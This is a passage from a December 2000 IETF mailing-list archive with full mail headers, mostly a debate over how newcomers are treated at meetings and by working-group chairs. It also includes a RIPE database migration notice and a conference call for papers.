tsx-prime.MIT.EDU (TSX-PRIME.MIT.EDU [18.86.0.76]) by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA17625 for ; Thu, 21 Dec 2000 08:20:55 -0500 (EST) Received: by tsx-prime.MIT.EDU with sendmail-SMI-8.6/1.2, id IAA02369; Thu, 21 Dec 2000 08:19:52 -0500 Date: Thu, 21 Dec 2000 08:19:52 -0500 Message-Id: <200012211319.IAA02369@tsx-prime.MIT.EDU> From: "Theodore Y. Ts'o" To: Randy Bush CC: Valdis.Kletnieks@vt.edu, Bill Manning , ietf@ietf.org In-reply-to: Randy Bush's message of Wed, 20 Dec 2000 21:51:38 -0800, Subject: Re: Welcoming newcomers Phone: (781) 391-3464 X-Loop: ietf@ietf.org From: Randy Bush Date: Wed, 20 Dec 2000 21:51:38 -0800 > a) Was the AD hissing because the newcomer's company has made a well- > financed but technically broken attempt to be an 800-pound gorilla in the > area? actually, it was not the AD, but the co-chair. and it was in the midst of a bunch of other humorous moments in the wg. and yes indeed, an 800-ton gorilla with a bad technical scam and a global bad rep for it and an attitude to go with. Hmm.... and in a previous thread we heard lots of people applauding the idea of having the wg-chair tap the microphone, or even hit a switch which turns off the speaker's microphone in that case..... - Ted From owner-ietf-outbound Thu Dec 21 08:50:15 2000 Received: by ietf.org (8.9.1a/8.9.1a) id IAA19066 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 08:50:02 -0500 (EST) Received: from birch.ripe.net (birch.ripe.net [193.0.1.96]) by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA18848 for ; Thu, 21 Dec 2000 08:44:22 -0500 (EST) Received: from x17.ripe.net (x17.ripe.net [193.0.1.17]) by birch.ripe.net (8.8.8/8.8.8) with ESMTP id OAA12144 for ; Thu, 21 Dec 2000 14:38:20 +0100 (CET) Received: (from shane@localhost) by x17.ripe.net (8.8.8/8.8.5) id OAA01641 for ietf@ietf.org; Thu, 21 Dec 2000 14:38:20 +0100 (CET) Date: Thu, 21 Dec 2000 14:38:20 +0100 (CET) Message-Id: <200012211338.OAA01641@x17.ripe.net> To: ietf@ietf.org Subject: RIPE Whois RPSL Migration From: RIPE NCC Reply-To: RIPE Database Manager X-Loop: ietf@ietf.org [ Apologies for duplicate mails ] RIPE Whois RPSL Migration The RIPE Database re-implementation project is nearing completion. A key feature of the new database is the implementation of RPSL, to replace the old RIPE-181 standard. RPSL is similar, but not identical, to RIPE-181. The RIPE NCC expects that many programs that use the RIPE Whois database will continue to operate properly without modification. However, some programs may have problems parsing the RPSL format, or be confused by differences in behaviour. We would like to ensure that the transition to RPSL is as easy as possible. Therefore, we are working with the RIPE community to provide resources you can use to check any programs or scripts that you have that use the RIPE Whois database. Please visit our Migration page for further information: http://www.ripe.net/ripencc/pub-services/db/rpsl/index.html This page will be updated regularly with the latest information. We will provide additional tools and information as they become available. The actual timeline of when the RPSL server will replace the existing RIPE-181 server will be decided at the RIPE-38 meeting. If you want input on when the change will occur, then you should either attend this meeting or post your comments on the RIPE DB mailing list. http://www.ripe.net/ripe/meetings/current/ripe-38/index.html http://www.ripe.net/ripe/wg/db/index.html Regards, The RIPE Database Group. RIPE NCC From owner-ietf-outbound Thu Dec 21 09:50:37 2000 Received: by ietf.org (8.9.1a/8.9.1a) id JAA20996 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 09:50:02 -0500 (EST) Received: from mailhub1.almaden.ibm.com (mailhub1.almaden.ibm.com [198.4.83.44]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA20829 for ; Thu, 21 Dec 2000 09:41:18 -0500 (EST) Received: from maui.almaden.ibm.com (maui.almaden.ibm.com [9.1.24.92]) by mailhub1.almaden.ibm.com (8.8.8/8.8.8) with ESMTP id GAA30482 for ; Thu, 21 Dec 2000 06:35:31 -0800 Received: from hursley.ibm.com (gsine04.us.sine.ibm.com [9.14.6.44]) by maui.almaden.ibm.com (AIX4.3/8.9.3/8.7) with ESMTP id GAA27228 for ; Thu, 21 Dec 2000 06:40:48 -0800 Message-ID: <3A421620.1FC46DE9@hursley.ibm.com> Date: Thu, 21 Dec 2000 08:39:28 -0600 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.61 [en] (Win98; I) X-Accept-Language: en,fr MIME-Version: 1.0 To: ietf@ietf.org Subject: Re: Welcoming newcomers References: <200012210054.eBL0sIJ20827@zed.isi.edu> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit Bill, This is an excellent illustration of why newcomers need to be mentored. Brian Bill Manning wrote: > > % > Bill said: > % > a "winnowing" process is now in effect, making it harder, perhaps > % > much harder to allow individual contribution. If I was starting today, > % > I'd avoid the IETF as a venue. > % > % If we are projecting this image, it's a problem. But given the constant > % increase in attendance, I doubt if it's really the case. Certainly in my > % own WG we have some very active participants who weren't at all involved when > % we started, and some of the early activists have moved on. > % > % If you think that good newcomers are not getting a fair hearing, recommend > % them to the ADs as WG chairs. And mentor any newcomers that you happen to know. > % > % Brian > > I have reason to beleive that newcomers are NOT getting a fair hearing. > Attached is a sanitized bit of email I received in the last week. > ------------------------------------ > > < Just surfed the archive in response to the issues raised at > < > < I am trying to decide the extent to which I wish to become involved > area. So far I have had the area director hiss at me when I > meeting and been told that certain > > -- > --bill From owner-ietf-outbound Thu Dec 21 10:10:16 2000 Received: by ietf.org (8.9.1a/8.9.1a) id KAA21509 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 10:10:02 -0500 (EST) Received: from callisto.acsu.buffalo.edu (qmailr@callisto.acsu.buffalo.edu [128.205.7.122]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA21340 for ; Thu, 21 Dec 2000 10:01:21 -0500 (EST) Received: (qmail 14870 invoked from network); 21 Dec 2000 15:01:22 -0000 Received: from photon.cse.buffalo.edu (HELO computer.org) (qiao@128.205.34.31) by callisto.acsu.buffalo.edu with SMTP; 21 Dec 2000 15:01:22 -0000 Sender: qiao Message-ID: <3A421B41.E50427AA@computer.org> Date: Thu, 21 Dec 2000 10:01:21 -0500 From: Chunming Qiao Organization: SUNY Buffalo X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.8 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: Kim Dongkyun CC: tccc@IEEE.ORG, IEEETCPC@listserv.utoronto.ca, ietf@ietf.org, manet@itd.nrl.navy.mil Subject: Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001 References: <007501c06b04$262257c0$cf0f2e93@snu.ac.kr> Content-Type: multipart/mixed; boundary="------------C7E603FFF0CD5524FAACE9A6" X-Loop: ietf@ietf.org This is a multi-part message in MIME format. --------------C7E603FFF0CD5524FAACE9A6 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit A possible venue but sth I want to stay away from if possible. > Kim Dongkyun wrote: > > > Hello ALL, > > * Apologies if you receive multiple copies of this * > > ------------------------------------------------------ > IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001 > ------------------------------------------------------ > Symposium Chairman > > Prof. C-K. Toh > Electrical & Computer Engineering, > Georgia Institute of Technology > Fax: 404-894-7468 E-mail: > cktoh@ece.gatech.edu > > IEEE Comsoc Liason > > Gayle Weisman > IEEE Communications Society > > -------------------------------------------------------------- > About IEEE SAWN2001 > -------------------------------------------------------------- > The IEEE Symposium on Ad-Hoc Wireless Networks (SAWN2001) is a > new and *high quality* technical meeting (to be held as part of > GLOBECOM 2001) for researchers to present their latest research > work related to the fast evolving field of ad hoc (multihop, > adaptive, and self-organizing) wireless networks and pervasive > communications. Such networks could have strong potential impact > on our daily lives (for example at home and on-the-road) and the > way we work. They are also particularly attractive for military > and emergency operations due to their fast deployable and > self-organizing characteristics. Future ad hoc networks are also > capable of supporting multimedia. High quality papers are invited > from researchers in academia and industries who are involved in > this area of work. > > ----------------------------------------------------------------- > Topics of Interest Include (but not are limited to): > > - Ad Hoc Routing Protocols/Algorithms > - Ad Hoc Transport Issues > - Media Access Techniques/Protocols > - Sensor & Data Fusion Ad Hoc Networks > - Ad hoc network architectures > - Error & Link Control Tecniques > - Access & Session Support > - Ad Hoc Multicasting Protocols/Algorithms > - Service Discovery Algorithms > - Low Power Algorithms and Protocols > - Quality of Service Issues > - Mobile IP with Ad Hoc > - Performance of Bluetooth Networks > - Integration Issues > > ------------------------------------------------------------- > Instructions for Authors > > Technical papers should be submitted to the Globecom Committee > following the general Globecom submission process and instructions > (AUTHOR KIT). In order to ensure that your paper is properly > routed to this Symposium, it is VERY IMPORTANT that you explicitly > identify Symposium on Ad Hoc Wireless Networks as the intended > symposium to which you are submitting the paper. Failure to do > so may result in your paper being forwarded to another symposium. > All submissions are done electronically. Submission deadline is > 31st March 2001. > > Accepted papers will be published in the IEEE GLOBECOM proceedings. > All inquires should be directed to the symposium chairman at > cktoh@ece.gatech.edu > > ---------------------------------------------------------------- > International Technical Program Committee > > Dr. Peiying Zhu, NORTEL Networks > Dr. Bassam Hashem, NORTEL Networks > Dr. Yile Guo, NOKIA USA > Dr. Eric Fleury, INRIA, France > Prof. Andre Schaff, U of Henry Poincare Nancy 1, France > Prof. Jean-Yves-Le-Boudec, EPFL, Switzerland > Prof. Adam Wolisz, TU Berlin, Germany > Prof. H. T. Mouftah, Queens University, Canada > Prof. Victor O. K. Li, University of Hong Kong > Prof. K-C Chen, National Taiwan University, Taiwan > Syed Akbar, TRW, USA > Dr. Kenneth Bayer, MITRE Corporation, USA > Dr. Howard Lemberg, Telcordia Technologies, USA > Prof. Kris Pister, University of California Berkeley > Prof. C-K. Toh, Georgia Tech, USA > Prof. Ahmed Helmy, University of Southern California, > Dongkyun Kim, Seoul National University, Korea > Dr. Nader Moayeri, National Institute of Standard & Technology > Prof. Christian Bonnet, EURECOM, France > > -------------------------------------------------------------- > Web Site: > > http://www.globecom2001.com > http://users.ece.gatech.edu:80/~cktoh/sawn/sawn01.html > -------------------------------------------------------------- -- Chunming QIAO Associate Professor Office: (716)-645-3180 ext. 140 201 Bell Hall Fax: (716)-645-3464 CSE Department, Box 602000 State University of New York at Buffalo, Amherst, NY 14260-2000 World Wide Web: http://www.cse.buffalo.edu/~qiao --------------C7E603FFF0CD5524FAACE9A6 Content-Type: text/x-vcard; charset=us-ascii; name="qiao.vcf" Content-Description: Card for Chunming Qiao Content-Disposition: attachment; filename="qiao.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Qiao;Chunming tel;fax:716-645-3464 tel;work:716-645-3180 ext. 140 x-mozilla-html:FALSE url:http://www.cse.buffalo.edu/~qiao org:SUNY Buffalo;CSE adr:;;201 Bell Hall ;Buffalo;NY;14260-2000;USA version:2.1 email;internet:qiao@computer.org title:Associate Professor x-mozilla-cpt:;-26176 fn:Chunming Qiao end:vcard --------------C7E603FFF0CD5524FAACE9A6-- From owner-ietf-outbound Thu Dec 21 10:30:15 2000 Received: by ietf.org (8.9.1a/8.9.1a) id KAA22107 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 10:30:03 -0500 (EST) Received: from zed.isi.edu (IDENT:root@zed.isi.edu [128.9.160.57]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA22023 for ; Thu, 21 Dec 2000 10:27:48 -0500 (EST) Received: (from bmanning@localhost) by zed.isi.edu (8.11.0/8.11.0) id eBLES7j21764; Thu, 21 Dec 2000 06:28:07 -0800 From: Bill Manning Message-Id: <200012211428.eBLES7j21764@zed.isi.edu> Subject: Re: Welcoming newcomers To: brian@hursley.ibm.com (Brian E Carpenter) Date: Thu, 21 Dec 2000 06:28:07 -0800 (PST) Cc: ietf@ietf.org In-Reply-To: <3A421620.1FC46DE9@hursley.ibm.com> from "Brian E Carpenter" at Dec 21, 2000 08:39:28 AM X-Mailer: ELM [version 2.5 PL3] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit Agreed. And why, in some cases, it is of dubious value to ask WG chairs or ADs to act in the mentoring process. Unless of course the intent is to drive people away. Even if, as Randy Bush suggests, the idea as presented, was ill-conceived, and was being encouraged by a market-driven company that is flush with cash, its no reason to berate people in public, even if done in a lighthearted way. % Bill, % % This is an excellent illustration of why newcomers need to be mentored. % % Brian % % Bill Manning wrote: % > % > % > Bill said: % > % > a "winnowing" process is now in effect, making it harder, perhaps % > % > much harder to allow individual contribution. If I was starting today, % > % > I'd avoid the IETF as a venue. % > % % > % If we are projecting this image, it's a problem. But given the constant % > % increase in attendance, I doubt if it's really the case. Certainly in my % > % own WG we have some very active participants who weren't at all involved when % > % we started, and some of the early activists have moved on. % > % % > % If you think that good newcomers are not getting a fair hearing, recommend % > % them to the ADs as WG chairs. And mentor any newcomers that you happen to know. % > % % > % Brian % > % > I have reason to beleive that newcomers are NOT getting a fair hearing. % > Attached is a sanitized bit of email I received in the last week. % > ------------------------------------ % > % > < Just surfed the archive in response to the issues raised at % > < % > < I am trying to decide the extent to which I wish to become involved % > area. So far I have had the area director hiss at me when I % > meeting and been told that certain % > % > -- % > --bill % % -- --bill From owner-ietf-outbound Thu Dec 21 10:40:19 2000 Received: by ietf.org (8.9.1a/8.9.1a) id KAA22433 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 10:40:02 -0500 (EST) Received: from gabriel.advsys.com (gabriel.advsys.com [198.49.218.20]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA22041 for ; Thu, 21 Dec 2000 10:28:09 -0500 (EST) Received: from madonna.advsys.com ([129.203.1.23]) by gabriel.advsys.com (8.10.2/8.10.2) with ESMTP id eBLFRi206076; Thu, 21 Dec 2000 10:27:44 -0500 (EST) Received: by madonna.advsys.com with Internet Mail Service (5.5.2650.21) id <494ZGF89>; Thu, 21 Dec 2000 10:27:43 -0500 Message-ID: <61ADB14614BFF443B1273E7B279BCF0B1E1DC3@madonna.advsys.com> From: "Udotong, Isaac" To: Brian E Carpenter , ietf@ietf.org Subject: RE: Welcoming newcomers Date: Thu, 21 Dec 2000 10:27:40 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" X-Loop: ietf@ietf.org As a newcomer, I can't agree more with Bill, or at least I find it difficult doing so. Apart from reading emails, I kind of feel left behind. Isaac Udotong -----Original Message----- From: Brian E Carpenter [mailto:brian@hursley.ibm.com] Sent: Wednesday, December 20, 2000 4:58 PM To: ietf@ietf.org Subject: Welcoming newcomers Bill Manning wrote: ... > I enjoyed a much different experience. I was asked by a couple of > WG chairs if I would be willing to take on tasks that needed to be > done, was invited to share opinions and thoughts by folks on the > IAB... as a first time attendee. Getting involved was easy. Those > responsible encouraged new blood. Recent experience seems to indicate > a "winnowing" process is now in effect, making it harder, perhaps > much harder to allow individual contribution. If I was starting today, > I'd avoid the IETF as a venue. If we are projecting this image, it's a problem. But given the constant increase in attendance, I doubt if it's really the case. Certainly in my own WG we have some very active participants who weren't at all involved when we started, and some of the early activists have moved on. If you think that good newcomers are not getting a fair hearing, recommend them to the ADs as WG chairs. And mentor any newcomers that you happen to know. Brian From owner-ietf-outbound Thu Dec 21 11:20:17 2000 Received: by ietf.org (8.9.1a/8.9.1a) id LAA23196 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 11:20:02 -0500 (EST) Received: from dbc.mtview.ca.us (ppp-63-207-83-130.ded.pacbell.net [63.207.83.130]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA23159 for ; Thu, 21 Dec 2000 11:19:47 -0500 (EST) Received: from FATORA (ppp-63-207-83-135.ded.pacbell.net [63.207.83.135]) by dbc.mtview.ca.us (8.11.0+3.3W/8.11.0) with SMTP id eBLGAL012728; Thu, 21 Dec 2000 08:10:21 -0800 (PST) Message-ID: <00db01c06b69$d020c300$8753cf3f@FATORA> From: "Marshall T. Rose" To: "Bill Manning" , "Brian E Carpenter" Cc: , "Marshall Rose" References: <200012211428.eBLES7j21764@zed.isi.edu> Subject: Re: Welcoming newcomers Date: Thu, 21 Dec 2000 08:19:36 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit > Agreed. And why, in some cases, it is of dubious value to ask WG chairs > or ADs to act in the mentoring process. Unless of course the intent is > to drive people away. Even if, as Randy Bush suggests, the idea as presented, > was ill-conceived, and was being encouraged by a market-driven company > that is flush with cash, its no reason to berate people in public, even > if done in a lighthearted way. i suppose it's my turn to argue for the politically-incorrect perspective. i don't think it's unreasonable for people to do their homework, a lot of homework. i don't think it's unreasonable for us to admit that quality counts, and that bad ideas are, well..., bad. i don't think it's unreasonable for the ietf membership to develop auto-immune responses to badness. quite the contrary, it is praiseworthy. obviously, it would be preferable if the corporate type in question had more clue and less agenda. obviously, it would be preferable for someone to have privately explained that fact to him or her. regardless, i want to thank the chair in question for acting as an agent for adult supervision. /mtr ps: i have no idea what incident we're talking about, but that obviously didn't stop me from commenting on it. From owner-ietf-outbound Thu Dec 21 11:40:39 2000 Received: by ietf.org (8.9.1a/8.9.1a) id LAA23725 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 11:40:02 -0500 (EST) Received: from xena.acsu.buffalo.edu (qmailr@xena.acsu.buffalo.edu [128.205.7.121]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA23577 for ; Thu, 21 Dec 2000 11:33:55 -0500 (EST) Received: (qmail 10158 invoked from network); 21 Dec 2000 16:33:56 -0000 Received: from photon.cse.buffalo.edu (HELO computer.org) (qiao@128.205.34.31) by xena.acsu.buffalo.edu with SMTP; 21 Dec 2000 16:33:56 -0000 Sender: qiao Message-ID: <3A4230F3.3F6FC4EF@computer.org> Date: Thu, 21 Dec 2000 11:33:55 -0500 From: Chunming Qiao Organization: SUNY Buffalo X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.8 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: Kim Dongkyun CC: tccc@IEEE.ORG, Chunming Qiao , ietf@ietf.org, manet@itd.nrl.navy.mil Subject: Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001 References: <007501c06b04$262257c0$cf0f2e93@snu.ac.kr> Content-Type: multipart/mixed; boundary="------------4B5B7AEEFB0ED9C587B60C45" X-Loop: ietf@ietf.org This is a multi-part message in MIME format. --------------4B5B7AEEFB0ED9C587B60C45 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hi, all. Sorry for the previous email from me, I was trying to forward to my students - to tell them that my schedule for next year would be too full for any addiitonal travel - but accidently hit the reply-all buttom (when using the Netscape email). I hope none of you would mis-interpret that mesg - and sincerely apologize to the Symp organizers for any negative effect that mesg may cause. > Kim Dongkyun wrote: > > > Hello ALL, > > * Apologies if you receive multiple copies of this * > > ------------------------------------------------------ > IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001 > ------------------------------------------------------ > Symposium Chairman > > Prof. C-K. Toh > Electrical & Computer Engineering, > Georgia Institute of Technology > Fax: 404-894-7468 E-mail: > cktoh@ece.gatech.edu > > IEEE Comsoc Liason > > Gayle Weisman > IEEE Communications Society > > -------------------------------------------------------------- > About IEEE SAWN2001 > -------------------------------------------------------------- > The IEEE Symposium on Ad-Hoc Wireless Networks (SAWN2001) is a > new and *high quality* technical meeting (to be held as part of > GLOBECOM 2001) for researchers to present their latest research > work related to the fast evolving field of ad hoc (multihop, > adaptive, and self-organizing) wireless networks and pervasive > communications. Such networks could have strong potential impact > on our daily lives (for example at home and on-the-road) and the > way we work. They are also particularly attractive for military > and emergency operations due to their fast deployable and > self-organizing characteristics. Future ad hoc networks are also > capable of supporting multimedia. High quality papers are invited > from researchers in academia and industries who are involved in > this area of work. > > ----------------------------------------------------------------- > Topics of Interest Include (but not are limited to): > > - Ad Hoc Routing Protocols/Algorithms > - Ad Hoc Transport Issues > - Media Access Techniques/Protocols > - Sensor & Data Fusion Ad Hoc Networks > - Ad hoc network architectures > - Error & Link Control Tecniques > - Access & Session Support > - Ad Hoc Multicasting Protocols/Algorithms > - Service Discovery Algorithms > - Low Power Algorithms and Protocols > - Quality of Service Issues > - Mobile IP with Ad Hoc > - Performance of Bluetooth Networks > - Integration Issues > > ------------------------------------------------------------- > Instructions for Authors > > Technical papers should be submitted to the Globecom Committee > following the general Globecom submission process and instructions > (AUTHOR KIT). In order to ensure that your paper is properly > routed to this Symposium, it is VERY IMPORTANT that you explicitly > identify Symposium on Ad Hoc Wireless Networks as the intended > symposium to which you are submitting the paper. Failure to do > so may result in your paper being forwarded to another symposium. > All submissions are done electronically. Submission deadline is > 31st March 2001. > > Accepted papers will be published in the IEEE GLOBECOM proceedings. > All inquires should be directed to the symposium chairman at > cktoh@ece.gatech.edu > > ---------------------------------------------------------------- > International Technical Program Committee > > Dr. Peiying Zhu, NORTEL Networks > Dr. Bassam Hashem, NORTEL Networks > Dr. Yile Guo, NOKIA USA > Dr. Eric Fleury, INRIA, France > Prof. Andre Schaff, U of Henry Poincare Nancy 1, France > Prof. Jean-Yves-Le-Boudec, EPFL, Switzerland > Prof. Adam Wolisz, TU Berlin, Germany > Prof. H. T. Mouftah, Queens University, Canada > Prof. Victor O. K. Li, University of Hong Kong > Prof. K-C Chen, National Taiwan University, Taiwan > Syed Akbar, TRW, USA > Dr. Kenneth Bayer, MITRE Corporation, USA > Dr. Howard Lemberg, Telcordia Technologies, USA > Prof. Kris Pister, University of California Berkeley > Prof. C-K. Toh, Georgia Tech, USA > Prof. Ahmed Helmy, University of Southern California, > Dongkyun Kim, Seoul National University, Korea > Dr. Nader Moayeri, National Institute of Standard & Technology > Prof. Christian Bonnet, EURECOM, France > > -------------------------------------------------------------- > Web Site: > > http://www.globecom2001.com > http://users.ece.gatech.edu:80/~cktoh/sawn/sawn01.html > -------------------------------------------------------------- -- Chunming QIAO Associate Professor Office: (716)-645-3180 ext. 140 201 Bell Hall Fax: (716)-645-3464 CSE Department, Box 602000 State University of New York at Buffalo, Amherst, NY 14260-2000 World Wide Web: http://www.cse.buffalo.edu/~qiao --------------4B5B7AEEFB0ED9C587B60C45 Content-Type: text/x-vcard; charset=us-ascii; name="qiao.vcf" Content-Description: Card for Chunming Qiao Content-Disposition: attachment; filename="qiao.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Qiao;Chunming tel;fax:716-645-3464 tel;work:716-645-3180 ext. 140 x-mozilla-html:FALSE url:http://www.cse.buffalo.edu/~qiao org:SUNY Buffalo;CSE adr:;;201 Bell Hall ;Buffalo;NY;14260-2000;USA version:2.1 email;internet:qiao@computer.org title:Associate Professor x-mozilla-cpt:;-26176 fn:Chunming Qiao end:vcard --------------4B5B7AEEFB0ED9C587B60C45-- From owner-ietf-outbound Thu Dec 21 11:50:09 2000 Received: by ietf.org (8.9.1a/8.9.1a) id LAA24064 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 11:50:03 -0500 (EST) Received: from zed.isi.edu (IDENT:root@zed.isi.edu [128.9.160.57]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA23933 for ; Thu, 21 Dec 2000 11:46:16 -0500 (EST) Received: (from bmanning@localhost) by zed.isi.edu (8.11.0/8.11.0) id eBLFkah21860; Thu, 21 Dec 2000 07:46:36 -0800 From: Bill Manning Message-Id: <200012211546.eBLFkah21860@zed.isi.edu> Subject: Re: Welcoming newcomers To: mrose+mtr.netnews@DBC.MTVIEW.CA.US (Marshall T. Rose) Date: Thu, 21 Dec 2000 07:46:36 -0800 (PST) Cc: bmanning@ISI.EDU (Bill Manning), brian@hursley.ibm.com (Brian E Carpenter), ietf@ietf.org, mrose@DBC.MTVIEW.CA.US (Marshall Rose) In-Reply-To: <00db01c06b69$d020c300$8753cf3f@FATORA> from "Marshall T. Rose" at Dec 21, 2000 08:19:36 AM X-Mailer: ELM [version 2.5 PL3] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit % % > Agreed. And why, in some cases, it is of dubious value to ask WG chairs % > or ADs to act in the mentoring process. Unless of course the intent is % > to drive people away. Even if, as Randy Bush suggests, the idea as % presented, % > was ill-conceived, and was being encouraged by a market-driven company % > that is flush with cash, its no reason to berate people in public, even % > if done in a lighthearted way. % % i suppose it's my turn to argue for the politically-incorrect perspective. % % i don't think it's unreasonable for people to do their homework, a lot of % homework. Me either. % i don't think it's unreasonable for us to admit that quality counts, and % that bad ideas are, well..., bad. Few ideas are really bad. Most are either pre or post mature. % i don't think it's unreasonable for the ietf membership to develop % auto-immune responses to badness. quite the contrary, it is praiseworthy. True, but to shoot the messenger, in public, reflects poorly on the people skills of those whom we are supposed to follow. % obviously, it would be preferable if the corporate type in question had more % clue and less agenda. % obviously, it would be preferable for someone to have privately explained % that fact to him or her. Yup. % regardless, i want to thank the chair in question for acting as an agent for % adult supervision. Perhaps. I might also be prepared to thank the co-chair in question, but I was not there and don't know the specifics. And I may not even care all that much. What I would expect is (un)common curtesy and respect for the attendees and participants on the part of the WG chairs and the respective ADs. Adult supervision does not require abandoning these traits. % /mtr --bill From owner-ietf-outbound Thu Dec 21 12:00:14 2000 Received: by ietf.org (8.9.1a/8.9.1a) id MAA24406 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 12:00:02 -0500 (EST) Received: from dfw-smtpout3.email.verio.net (dfw-smtpout3.email.verio.net [129.250.36.43]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA24183 for ; Thu, 21 Dec 2000 11:52:51 -0500 (EST) Received: from [129.250.38.64] (helo=dfw-mmp4.email.verio.net) by dfw-smtpout3.email.verio.net with esmtp id 1498xR-0006qo-00; Thu, 21 Dec 2000 16:52:45 +0000 Received: from [161.58.1.88] (helo=shell2) by dfw-mmp4.email.verio.net with esmtp id 1498xR-0006fs-00; Thu, 21 Dec 2000 16:52:45 +0000 Date: Thu, 21 Dec 2000 11:52:30 -0500 (EST) From: "David W. Morris" X-Sender: To: Keith Moore cc: Brian E Carpenter , Subject: Re: Bottom feeders In-Reply-To: <200012202003.PAA25292@astro.cs.utk.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Loop: ietf@ietf.org On Wed, 20 Dec 2000, Keith Moore wrote: > > Hard to say, but the newcomer's briefing and the Tao of the IETF are > > both on the web site. Maybe we need some text on the registration page > > pointing to those and suggesting strongly that people should read them > > before typing in their credit card number. > > maybe the registration form should have a short quiz on material from > these documents, which must be filled out before the form is considered > complete. and if not completed successfully the prospective > registrant is warned that he may be wasting his money. It would probably be sufficient to simply require that each registrant indicate the WGs they expect to participate in and then check that verify that they are in fact subscribed to at least some/one of those WGs mailing lists. Could require the MD5 digest for some key recent draft. This would indicate a level of cluefullness that they know how the process works and are ready if not able to contribute. It would also allow for room allocation planning. Large rooms could be tiered based on something like: front tier: 1. Some draft authored for the group or in greather than 25th percentile of frequency of contributors to the WG mail list. 2. Preregistered and subscribed to the list 3. Preregistered 4. Surfers Let any member of tier 1-3 bring 1 guest. Provide colored badges for tiers 1-3. Focuses the space on folks who partcipate while not precluding any interested folks from attending. Dave Morris From owner-ietf-outbound Thu Dec 21 12:10:17 2000 Received: by ietf.org (8.9.1a/8.9.1a) id MAA24728 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 12:10:02 -0500 (EST) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA24364 for ; Thu, 21 Dec 2000 11:59:00 -0500 (EST) Received: from cmf.nrl.navy.mil (elvis.cmf.nrl.navy.mil [134.207.10.38]) (authenticated) by ginger.cmf.nrl.navy.mil (8.10.1/8.10.1) with ESMTP id eBLGwtR04576 for ; Thu, 21 Dec 2000 11:58:55 -0500 (EST) Message-Id: <200012211658.eBLGwtR04576@ginger.cmf.nrl.navy.mil> To: ietf@ietf.org Subject: Re: Bottom feeders In-reply-to: Your message of "Wed, 20 Dec 2000 16:10:56 EST." <200012202112.QAA26071@astro.cs.utk.edu> X-Face: "Evs"_GpJ]],xS)b$T2#V&{KfP_i2`TlPrY$Iv9+TQ!6+`~+l)#7I)0xr1>4hfd{#0B4 WIn3jU;bql;{2Uq%zw5bF4?%F&&j8@KaT?#vBGk}u07<+6/`.F-3_GA@6Bq5gN9\+s;_d gD\SW #]iN_U0 KUmOR.P<|um5yPkEpSD@*e` Date: Thu, 21 Dec 2000 11:58:54 -0500 From: Ken Hornstein X-Loop: ietf@ietf.org >I think it's still the case that someone who demonstrates knowledge of >the background material and understanding of how the Internet works is >quite welcome at IETF. That hasn't been my experience; I've seen what can only be described as an "old-boy" network in operation. I'm not saying that such a thing is necessarily bad, just that sometimes it takes significant effort to overcome it if you're a newbie. (It's entirely possible that I didn't have enough background in the beginning, but I really thought I did. Maybe that's a separate problem: how much background do you really need? It's not always obvious to a newbie) --Ken From owner-ietf-outbound Thu Dec 21 12:20:27 2000 Received: by ietf.org (8.9.1a/8.9.1a) id MAA24947 for ietf-outbound.10@ietf.org; Thu, 21 Dec 2000 12:20:03 -0500 (EST) Received: from e3.ny.us.ibm.com (e3.ny.us.ibm.com [32.97.182.103]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA24824 for ; Thu, 21 Dec 2000 12:15:01 -0500 (EST) Received: from 